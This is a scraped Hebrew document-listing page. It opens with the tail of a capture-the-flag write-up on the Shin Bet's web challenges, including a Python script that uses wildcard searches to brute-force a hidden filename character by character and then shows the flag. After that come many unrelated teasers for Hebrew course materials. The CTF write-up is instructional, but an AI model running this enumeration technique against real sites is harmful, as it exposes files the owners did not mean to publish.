29 : להלן הקוד import requests import string import urllib IGNORED_URL_CHARS = '*?' BASE_URL = ' filename = "" while (True): is_char_found = False for char in string.printable: if (char in IGNORED_URL_CHARS): continue current_filename = filename + char # Encode URL encoded_filename = urllib.parse.quote_plus(current_filename) url = f'{base_url}/?search=habier/{encoded_filename}*.txt' print(url) request = requests.get(url) if ('No images found' not in request.text): filename = current_filename is_char_found = True break # If no new character was added, we found the filename if (not is_char_found): print(f'{filename}.txt') break? שמסמלים - ולהימנע מלשים * ו special characters למקרה שיש url- ל encode נזכור שצריך לעשות : נריץ ונקבל.Wildcard Character Habier&Valery4ever_#WEBISFUN.txt :)special characters- ל encoding (כמובן עם :! נגלוש לקובץ בדפדפן WEB IS FUN- מסכים לגמרי ש art.shieldchallenges.com/files/habier/habier%26valery4ever_%23web ISFUN.txt : ונקבל את הדגל FLAG{You-R-Gl0bMast3R} 0100 של השב"כ -Web פתרון אתגרי ה פברואר,126 גליון

30 סיכום האתגרים היו מורכבים, מאתגרים ובהחלט מהנים. מה שהיה מיוחד מאוד באתגרים זה שמעבר לידע המקצועי בתחום היה צריך לחשוב על פתרונות יצירתיים עם מספר מצומצם מאוד של כלים ואפשרויות. רציתי להגיד תודה רבה לשב"כ על האתגרים המדהימים. ואני מצפה בקוצר רוח לפתור את האתגרים שנה הבאה whoami עידו פרנקנטל Frankenthal(,)Ido בן 09 מלש"ב, סטודנט שנה שלישית לתואר ראשון במתמטיקה באונ' בר אילן. אני מאוד אוהב לפתור CTF -ים בשעות הפנאי, מתעניין במיוחד ב- Level,Low מערכות הפעלה ו-.WEB וחוקר High Level בנוסף, לפעמים מפתח.Reversing לשאלות ויצירת קשר אפשר לפנות במייל: 32 גליון 126, פברואר 2021 פתרון אתגרי ה Web -של השב"כ

Microsoft Word - Ass1Bgu2019b_java docx

Microsoft Word - Ass1Bgu2019b_java docx ת ר ג י ל 1 ב ק ו ר ס מ ב ו א לתכנות 202.1.9031 JAVA סמסטר ב, ת נ א י ם ו ל ו ל א ו ת תאריך אחרון להגשה בציון מלא : 02.04.19 עד שעה : 23:55, כ ל יום איחור ל א מ א ו ש ר א ו ח ל ק ממנו מודריד 10 נקודות

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ג חשון תשע"ח 12/11/17 שמות המורים: ציון סיקסיק א' ב- C תכנות מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד קיץ סמ' שנה תשע"ז 3 שעות משך

קרא עוד

HTML - Hipper Text Makeup Language

HTML - Hipper Text Makeup Language תכנות בסביבת האינטרנט 1 תיבת טקסט טופס הטופס הוא הדרך של בעלי האתר לקבל משוב מהגולשים, מאפשר לגולש להתחבר לאתר כחבר, מאפשר לבצע רכישות באתרי קניות וכד'. כשהגולש ממלא את הטופס, מועבר תוכן הטופס לדף מיוחד

קרא עוד

משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות תכנות מתק

משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות תכנות מתק משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות 2 הפשטה שאלות כצעד ראשון נפתור בעיה הרבה יותר פשוטה האם כבר

קרא עוד

ייבוא וייצוא של קבצי אקסל וטקסט

ייבוא וייצוא של קבצי אקסל וטקסט ייבוא וייצוא של קבצי אקסל וטקסט (Importing & Exporting MS Excel Files and Text) ייבוא (Import) הפיכת קובץ טקסט, Excel מבסיס נתונים אחר. או סוגים אחרים, לטבלת,Access או העתקת טבלת Access בתחילת התהליך יש

קרא עוד

תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש

תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש המתרגם משימה: תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם 2 שאלות האם כבר יש

קרא עוד

מדריך למרצים ומתרגלים 1

מדריך למרצים ומתרגלים 1 מדריך למרצים ומתרגלים 1 תוכן עניינים מדריך למרצים ומתרגלים...1 קבלת סיסמה לתחנת מידע למרצה...3 הוספת חומרי למידה...6 הוספת מורשה גישה לאתר הוספת מטלה קורס...9 לאתר הקורס...11 בחירת בודקים למטלה...17 מערכת

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תכנות מתקדם בשפת Java אוניברסיטת תל אביב 1 תוכנה 1 תרגול 3: עבודה עם מחרוזות )Strings( מתודות )Methods( 1 תכנות מתקדם בשפת Java אוניברסיטת תל אביב 2 מחרוזות )STRINGS( 3 מחרוזות String s = Hello ; מחרוזות

קרא עוד

WinZIP תוכנה לדחיסת קבצים ספטמבר 2007

WinZIP תוכנה לדחיסת קבצים ספטמבר 2007 WinZIP תוכנה לדחיסת קבצים ספטמבר 2007 תשס"ח 2007. כל הזכויות שמורות לאוניברסיטה הפתוחה. בית ההוצאה לאור של האוניברסיטה הפתוחה, רח' רבוצקי 108 ת, "ד 808, רעננה 43107. The Open University of Israel, 108

קרא עוד

2013/14 אוניברסיטת חיפה מבוא למדעי מחשב, מעבדה מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מ

2013/14 אוניברסיטת חיפה מבוא למדעי מחשב, מעבדה מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מ מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מספיק עמדות לכולם ולכן מומלץ לעבוד ביחידים). במהלך המעבדה יהיה עליכם לבצע משימות. אם תצטרכו עזרה בשלב

קרא עוד

ex1-bash

ex1-bash ביה"ס למדעי המחשב סמסטר חורף תשע"ח 13.12.2017 יסודות מערכות פתוחות פתרון תרגיל מס' 7 המכללה האקדמית נתניה שימו לב: כל ההערות שבתחילת תרגילים 1-6 תקפות גם לתרגיל זה. הערה 1: החל מתרגיל זה והלאה, בכל פעם

קרא עוד

תרגול 1

תרגול 1 מבוא למדעי המחשב 2019 תרגול 5 מחרוזות, חתימות ורקורסיה מחרוזות רצף של תווים רקורסיה קריאה של מתודה לעצמה באופן ישיר או עקיף ראינו בהרצאה מחרוזות: תווים, חתימות: העמסה- String,הצהרה, overloading אתחול רקורסיה:

קרא עוד

מדריך להתקנת Code Blocks מדריך זה נועד לתאר את תהליך התקנת התוכנה של הקורס "מבוא למחשב שפת C". בקורס נשתמש בתוכנת Code::Blocks עם תוספת )אשף( המתאימה

מדריך להתקנת Code Blocks מדריך זה נועד לתאר את תהליך התקנת התוכנה של הקורס מבוא למחשב שפת C. בקורס נשתמש בתוכנת Code::Blocks עם תוספת )אשף( המתאימה מדריך להתקנת Code Blocks מדריך זה נועד לתאר את תהליך התקנת התוכנה של הקורס "מבוא למחשב שפת C". בקורס נשתמש בתוכנת Code::Blocks עם תוספת )אשף( המתאימה לקורס. האשף קובע את סביבת הפיתוח כך שתתאים לצורכי הקורס.

קרא עוד

ת'' מדריך לבעלי תיבה קיימת במופ ומשתמשים ב Outlook 2003 או doc.2007 לפני שניגש להגדיר את תיבת המייל החדשה, נבצע גיבויי של המיילים ופנקס הכתובות מהחשבו

ת'' מדריך לבעלי תיבה קיימת במופ ומשתמשים ב Outlook 2003 או doc.2007 לפני שניגש להגדיר את תיבת המייל החדשה, נבצע גיבויי של המיילים ופנקס הכתובות מהחשבו ת'' מדריך לבעלי תיבה קיימת במופ ומשתמשים ב Outlook 2003 או doc.2007 לפני שניגש להגדיר את תיבת המייל החדשה, נבצע גיבויי של המיילים ופנקס הכתובות מהחשבון הקודם )ייצוא וייבוא כפי שמצוין מטה(. תהליך זה ימשוך

קרא עוד

הוספת קישור לאתר אינטרנט תוכן ממשק בדיקת מטלות...3 איחוד אתרי קורסים...5 סל מחזור... 7 חידושים בפעילויות...8 תצורת קורס: כפתורים... 9 פורומים...10 שיפ

הוספת קישור לאתר אינטרנט תוכן ממשק בדיקת מטלות...3 איחוד אתרי קורסים...5 סל מחזור... 7 חידושים בפעילויות...8 תצורת קורס: כפתורים... 9 פורומים...10 שיפ הוספת קישור לאתר אינטרנט תוכן ממשק בדיקת מטלות...3 איחוד אתרי קורסים...5 סל מחזור... 7 חידושים בפעילויות...8 תצורת קורס: כפתורים... 9 פורומים...10 שיפורים נוספים... 11 1 Moodle חדש במערכת ה- מערכת מודל

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב מחרוזות, חתימה של פונקציה ומעטפות תוכן עניינים טיפוסים מורכבים טיפוסים מורכבים ערך שם טיפוס 12 m int undef. x boolean true y boolean arr int[] כאלה שעשויים להכיל יותר מערך פרימיטיבי אחד

קרא עוד

מהוא לתכנות ב- JAVA מעבדה 3

מהוא לתכנות ב- JAVA מעבדה 3 מבוא לתכנות ב- JAVA מעבדה 3 נושאי התרגול לולאות ניפוי שגיאות לולאות - הקדמה כיצד הייתם כותבים תוכנית שתדפיס את המספרים השלמים בין 1 ל- 100 בעזרת הכלים שלמדתם עד עתה? חייבת להיות דרך אחרת מאשר לכתוב 100

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ח תשרי תשע"ז 30.10.16 שמות המורים: ציון סיקסיק א' תכנות ב- C מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד סמ' קיץ שנה תשע"ו 3 שעות משך

קרא עוד

הנחיות הורדה ותפעול לספרים דיגיטלים. הוצאת כנרת, זמורה ביתן שמחה להגיש לכם, התלמידים, ספר דיגיטלי. הספרים עצמם הינם בקבצי PDF הניתנים להורדה ללא עלות

הנחיות הורדה ותפעול לספרים דיגיטלים. הוצאת כנרת, זמורה ביתן שמחה להגיש לכם, התלמידים, ספר דיגיטלי. הספרים עצמם הינם בקבצי PDF הניתנים להורדה ללא עלות הנחיות הורדה ותפעול לספרים דיגיטלים. הוצאת כנרת, זמורה ביתן שמחה להגיש לכם, התלמידים, ספר דיגיטלי. הספרים עצמם הינם בקבצי PDF הניתנים להורדה ללא עלות וללא צורך ברישום לאתר למשתמשי סדרת פשוט חשבון. בספרים:

קרא עוד

Slide 1

Slide 1 מבוא למדעי המחשב תירגול 4: משתנים בוליאניים ופונקציות מבוא למדעי המחשב מ' - תירגול 4 1 משתנים בוליאניים מבוא למדעי המחשב מ' - תירגול 4 2 ערכי אמת מבחינים בין שני ערכי אמת: true ו- false לכל מספר שלם ניתן

קרא עוד

תוכנה חופשית מאחורי הקלעים? על סדר היום: קצת על עצמי מה זאת תוכנה חופשית? ההיסטוריה של תוכנה חופשית כיצד תוכנה חופשית משתלבת בשוק התוכנה היתרונות של ת

תוכנה חופשית מאחורי הקלעים? על סדר היום: קצת על עצמי מה זאת תוכנה חופשית? ההיסטוריה של תוכנה חופשית כיצד תוכנה חופשית משתלבת בשוק התוכנה היתרונות של ת תוכנה חופשית מאחורי הקלעים? על סדר היום: קצת על עצמי מה זאת תוכנה חופשית? ההיסטוריה של תוכנה חופשית כיצד תוכנה חופשית משתלבת בשוק התוכנה היתרונות של תוכנה חופשית. דוגמאות מהשטח 1 ליאור קפלן 30/11/05 קצת

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ג מנ' אב תשע"ז 15.08.17 שמות המורים: ציון סיקסיק א' ב- C תכנות מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד סמ' ב' שנה תשע"ז 3 שעות

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תוכנה 1 תרגול 1: סביבת העבודה ומבוא ל- Java 1 מנהלות אתר הקורס: http://courses.cs.tau.ac.il/software1/1516b/ מתרגלים: ברית יונגמן )שעת קבלה: שלישי ב- 8:00 בתיאום מראש( לנה דנקין )שעת קבלה: שלישי ב- 17:00,

קרא עוד

PowerPoint Presentation

PowerPoint Presentation מבוא למדעי המחשב תירגול 6: כתובות ומצביעים 1 תוכנייה מצביעים מצביעים ומערכים, אריתמטיקה של מצביעים 2 3 מצביעים תזכורת- כתובות זיכרון הזיכרון כתובת התא #1000 #1004 #1008 ערך השמור בתא תא 10-4 לא מאותחל

קרא עוד

אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשע"ג, משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם

אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשעג, משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשע"ג,.6.013 משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם 8 עמודי שאלון )כולל עמוד זה(. עליכם לכתוב את התשובות על

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש המתרגם משימה: תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם 2 שאלות האם כבר יש

קרא עוד

יצוא לחשבשבת תוכן עיניינים הגדרות - חשבונות בנק...2 הגדרות - הגדרות חשבשבת... 3 הגדרות - כרטיסי אשראי... 4 הגדרות - סוגי הכנסה... 5 יצוא לחשבשבת...6 י

יצוא לחשבשבת תוכן עיניינים הגדרות - חשבונות בנק...2 הגדרות - הגדרות חשבשבת... 3 הגדרות - כרטיסי אשראי... 4 הגדרות - סוגי הכנסה... 5 יצוא לחשבשבת...6 י יצוא לחשבשבת תוכן עיניינים הגדרות - חשבונות בנק...2 הגדרות - הגדרות חשבשבת... 3 הגדרות - כרטיסי אשראי... 4 הגדרות - סוגי הכנסה... 5 יצוא לחשבשבת...6 יצוא קופה לחשבשבת חלונות...01 כללי מדריך זה מסביר את

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא כללי לתכנות ולמדעי המחשב 1843-0310 מרצה: אמיר רובינשטיין מתרגל: דין שמואל אוניברסיטת תל אביב סמסטר חורף 2017-8 חלק ב - מבוא לקריפטוגרפיה שיעור 5 (offset מונחים בסיסיים צופן קיסר (היסט,.1.2 1 Today

קרא עוד

מבוא לתכנות ב- JAVA תרגול 7

מבוא לתכנות ב- JAVA  תרגול 7 מבוא לתכנות ב- JAVA תרגול 8 תזכורת - מבנה של פונקציה רקורסיבית.2 פונקציה רקורסיבית מורכבת משני חלקים עיקריים 1. תנאי עצירה: מקרה/מקרים פשוטים בהם התוצאה לא מצריכה קריאה רקורסיבית לחישוב צעד רקורסיבי: קריאה

קרא עוד

Office 365 ProPlus בחינם לסטודנטים באוניברסיטת בן גוריון בנגב הוראות סטודנטים באוניברסיטת בן גוריון בנגב יכולים להוריד ולהתקין את חבילת התוכנה Office

Office 365 ProPlus בחינם לסטודנטים באוניברסיטת בן גוריון בנגב הוראות סטודנטים באוניברסיטת בן גוריון בנגב יכולים להוריד ולהתקין את חבילת התוכנה Office Office 365 ProPlus בחינם לסטודנטים באוניברסיטת בן גוריון בנגב הוראות סטודנטים באוניברסיטת בן גוריון בנגב יכולים להוריד ולהתקין את חבילת התוכנה Office 365 ProPlus בחינם. ניתן להוריד ולהתקין את הגרסאות הבאות:

קרא עוד

פתרון מוצע לבחינת מה"ט ב_שפת c מועד ב אביב תשע"ט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9.

פתרון מוצע לבחינת מהט ב_שפת c מועד ב אביב תשעט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9. פתרון מוצע לבחינת מה"ט ב_שפת c מועד ב אביב תשע"ט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9. הדפסה ראשונה: מתבצעת לולאה שרצה מאפס עד אורך המחרוזת.

קרא עוד

פרויקט שורשים דמות

פרויקט שורשים דמות פרויקט שורשים דמות בחייכם אודות דמות פרק זה בעבודת השורשים יכלול מידע אודות הדמות שנבחרה מצד ההורים. הפרק יכיל תקציר רגיל ]רשות[ או מעוצב ]רשות[, טקסט ]חובה[, תמונות ]רשות אבל ]רשות [. רצוי מאוד[, אלבום-מצגת

קרא עוד

PowerPoint Presentation

PowerPoint Presentation פרוטאוס הדרכה לפיתוח פרויקט מבוסס ארדואינו 1 הוראות הפעלה תוכנת פרוטאוס מכילה כמות גדולה מאוד של כלי עזר להבנת דרך ההפעלה של התוכנה. שני מקורות מידע עיקריים עומדים לרשות המשתמש מחוץ לתוכנה: o באתר האינטרנט

קרא עוד

שיעור מס' 6 – סבולות ואפיצויות

שיעור מס' 6 – סבולות ואפיצויות שיעור מס' 6 סבולות ואפיצויות Tolerances & Fits Tolerances חלק א' - סבולות: כידוע, אין מידות בדיוק מוחלט. כאשר אנו נותנים ליצרן חלק לייצר ונותנים לו מידה כלשהי עלינו להוסיף את תחום הטעות המותרת לכל מידה

קרא עוד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות מס' הקורס : מיועד לתלמידי : הנד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות מס' הקורס : מיועד לתלמידי : הנד אוניברסיטת בן גוריון בנגב תאריך המבחן: 29.01.19 שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות 202.1.9031 מס' הקורס : מיועד לתלמידי : הנדסת תעשיה וניהול שנה תשע"ט א' סמ' א' מועד 3 שעות משך

קרא עוד

תוכן העניינים

תוכן העניינים הוצאת חושבים קדימה הילה קדמן # חלק ב יעוץ מקצועי: חיים אברבוך מותאם לתכנית הלימודים החדשה בבתי הספר התיכוניים מהדורה חמישית הוצאת חושבים קדימה ת.ד. 1293 רעות 71908 www.kadman.net הילה קדמן 0522 525527

קרא עוד

מבוא למדעי המחשב - חובלים

מבוא למדעי המחשב - חובלים אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב סמסטר ב' תשע"ב בחינת סיום, מועד ב',.02..9.7 מרצה: אורן וימן מתרגלים: נעמה טוויטו ועדו ניסנבוים מדריכי מעבדה: מחמוד שריף ומיקה עמית משך המבחן: שעתיים חומר

קרא עוד

Microsoft Word - c_SimA_MoedB2005.doc

Microsoft Word - c_SimA_MoedB2005.doc מרצה: שולי וינטנר. מתרגל: עזרא דאיה. מבוא למדעי המחשב בחינת מועד ב', סמסטר א' תשס"ה,.2.2005 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות:. ודאו כי בטופס שבידיכם עמודים. יש לכתוב

קרא עוד

Disclaimer מסמך זה הינו סיכום און-ליין של השיעור ולא עבר עריכה כלל. מצאת טעות? שלח/י לי מייל ואתקן: 07/05/2009 קורס: מערכות ה

Disclaimer מסמך זה הינו סיכום און-ליין של השיעור ולא עבר עריכה כלל. מצאת טעות? שלח/י לי מייל ואתקן: 07/05/2009 קורס: מערכות ה הרעיון: דפדוף paging וזכרון וירטואלי.1.2.3 לחלק את מרחב הכתובות לדפים בגודל קבוע )למשל )4KB את הדפים ממפים לזכרון פיסי a. לא רציף b. לא כולם העברה מזכרון לדיסק לפי הצורך מספר הדף: page = addr 4K המיקום

קרא עוד

מצגת של PowerPoint

מצגת של PowerPoint מהי סביבת איקס לימוד? סביבת איקס לימוד היא סביבה גמישה לתרגול היכולת לזכור ולהיזכר במושגים ועובדות מתחומי תוכן שונים על ידי התאמה. הסביבה מבוססת על המשחק 'איקס עיגול' והתוכן אותו מתרגלים יכול מסוג טקסט

קרא עוד

1 תבניות טקסט מהי תבנית טקסט? שימוש ב- Characters Meta שימוש ב- Expression Grouping שימוש ב- Quantifiers תת תבניות הפונקציה preg_match הפונקציה preg_m

1 תבניות טקסט מהי תבנית טקסט? שימוש ב- Characters Meta שימוש ב- Expression Grouping שימוש ב- Quantifiers תת תבניות הפונקציה preg_match הפונקציה preg_m 1 תבניות טקסט מהי תבנית טקסט? שימוש ב- Characters Meta שימוש ב- Expression Grouping שימוש ב- Quantifiers תת תבניות הפונקציה preg_ הפונקציה preg all הפונקציה str_replace הפונקציה preg_replace 2 מהי תבנית

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תוכנה 1 תרגול 1: סביבת העבודה ומבוא ל- Java אלכסיי זגלסקי ויעל אמסטרדמר 1 בירוקרטיה אלכסיי זגלסקי שעת קבלה: שני 13:00-14:00, בתיאום מראש משרד: בניין הנדסת תוכנה, חדר 209 יעל אמסטרדמר שעת קבלה: חמישי 15:00-16:00,

קרא עוד

תוכן העניינים

תוכן העניינים הוצאת חושבים קדימה הילה קדמן חלק ב יעוץ מקצועי: חיים אברבוך מותאם לתכנית הלימודים החדשה בבתי הספר התיכוניים מהדורה חמישית הוצאת חושבים קדימה ת.ד. 1293 רעות 71908 www.kadman.net הילה קדמן 0522 525527 kadman11@gmail.com

קרא עוד

שאלה 2. תכנות ב - CShell

שאלה 2. תכנות ב - CShell ביה"ס למדעי המחשב 4.2.2018 האקדמית נתניה מבחן מועד א' יסודות מערכות פתוחות סמסטר חורף, תשע"ח משך המבחן: שלוש וחצי שעות. יש לענות על כל השאלות. מותר השימוש בחומר עזר כלשהו, פרט למחשבים, (מחשבונים מותר).

קרא עוד

שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים ע

שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים ע שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים עליו כרגע )A מצביע עליו(. יש שני סוגי פקודות, פקודת

קרא עוד

Tutorial 11

Tutorial 11 מבוא לשפת C תרגול 8: מערכים רב-ממדיים תרגילים בנושא מערכים ורקורסיה מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקנשטיין, איתן אביאור וסאהר אסמיר עבור הקורס "מבוא למדעי המחשב" נכתב ע"י טל כהן, עודכן ע"י

קרא עוד

ISI

ISI ISI - Web of Knowledge דצמבר 2007 המאגר ה - Knowledge ISI Web of הוא כלי מחקר רב תכליתי המאפשר גישה איכותית למידע אקדמי. הגישה למאגר פתוחה למנויים בלבד ומכל מחשב המחובר לרשת האוניברסיטה. כניסה למאגר ה

קרא עוד

תשע"דד אביב תוכנה 1 תרגיל מספר 4 עיבוד מחרוזות וקריאה מקבצים הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס..(

תשעדד אביב תוכנה 1 תרגיל מספר 4 עיבוד מחרוזות וקריאה מקבצים הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס..( תשע"דד אביב תוכנה 1 תרגיל מספר 4 עיבוד מחרוזות וקריאה מקבצים הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס..(http://mdle.tau.ac.il/) בלבד הגשת התרגיל תעשה במערכת ה- mdle aviv

קרא עוד

DCA & A/B Testing

DCA & A/B Testing כלים מתקדמים לבדיקת קריאייטיב בפייסבוק Yan (Yanko) Kotliarsky Digital Marketing Strategist www.yanyanko.com @social.yanko Split Test (A/B Testing) Split Test (A/B Testing) עד לא מזמן, כדי לענות על השאלות

קרא עוד

מרצים יקרים, אתר המכללה מאפשר למרצי המכללה להזין את פרטיהם וקורות חייהם. זאת בדומה לאתרים מקבילים של מוסדות אקדמיים בארץ ובעולם. עמודי המרצים נועדו לא

מרצים יקרים, אתר המכללה מאפשר למרצי המכללה להזין את פרטיהם וקורות חייהם. זאת בדומה לאתרים מקבילים של מוסדות אקדמיים בארץ ובעולם. עמודי המרצים נועדו לא מרצים יקרים, אתר המכללה מאפשר למרצי המכללה להזין את פרטיהם וקורות חייהם. זאת בדומה לאתרים מקבילים של מוסדות אקדמיים בארץ ובעולם. עמודי המרצים נועדו לאפשר למרצי המכללה לפרסם באתר המכללה פרטים אודותיהם )תחומי

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב שימוש במחסנית - מחשבון תוכן עניינים prefix כתיבת ביטויים ב-,infix ו- postfix postfix prefix,infix ביטויים ב- כתיבת ו- infix נוסח כתיבה ב- (operator אנו רגילים לכתוב ביטויים חשבוניים כדוגמת

קרא עוד

(Microsoft Word - SQL\353\351\345\345\365 \341\361\351\361 \360\372\345\360\351\355 \ doc)

(Microsoft Word - SQL\353\351\345\345\365 \341\361\351\361 \360\372\345\360\351\355 \ doc) 01/07/08 כיווץ בסיס נתונים ב MS SQL 2005 מסמך זה סוקר תהליך כיווץ בסיס נתונים ב-.Microsoft SQL Server 2005 תהליך הכיווץ (Shrink), מכווץ את חלקו הלא פעיל (קובץ ה- Log ) של בסיס הנתונים ואינו נוגע בחלקו

קרא עוד

מבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. ב

מבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. ב מבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. בדקו שכל העמודים ברשותכם. ב. משך המבחן שלוש שעות (180

קרא עוד

מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדי

מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדי מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדיקות אחרונות לפני מסירה )עמודים 8-11( מבנה השאלון 5

קרא עוד

מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בי

מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בי מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בינסקי הנחיות: יש לענות על כל השאלות. יש לענות על כל

קרא עוד

הגנה - שקפי תרגול

הגנה - שקפי תרגול תרגול 9 סיסמאות חד פעמיות הגנה במערכות מתוכנתות )הגנה ברשתות( חורף תשע"ז 1 תזכורת בקרת כניסה אימות זהות המשתמש למניעת התחזות קבלת שירות שהתוקף אינו זכאי לו קבלת גישה למידע פרטי ולביצוע פעולות בד"כ נעשה

קרא עוד

סדנת תכנות ב C/C++

סדנת תכנות ב   C/C++ פקולטה: מדעי הטבע מחלקה: מדעי המחשב שם הקורס: מבוא למחשבים ושפת C קוד הקורס: 2-7028510 תאריך בחינה: 15.2.2017 משך הבחינה: שעתיים שם המרצה: ד"ר אופיר פלא חומר עזר: פתוח שימוש במחשבון: לא הוראות כלליות:

קרא עוד

מדריך לחיפוש במאגר JCR Journal Citation Reports מעודכן לדצמבר 2015 כל הזכויות שמורות לתחום היעץ, אוניברסיטת חיפה, הספריה

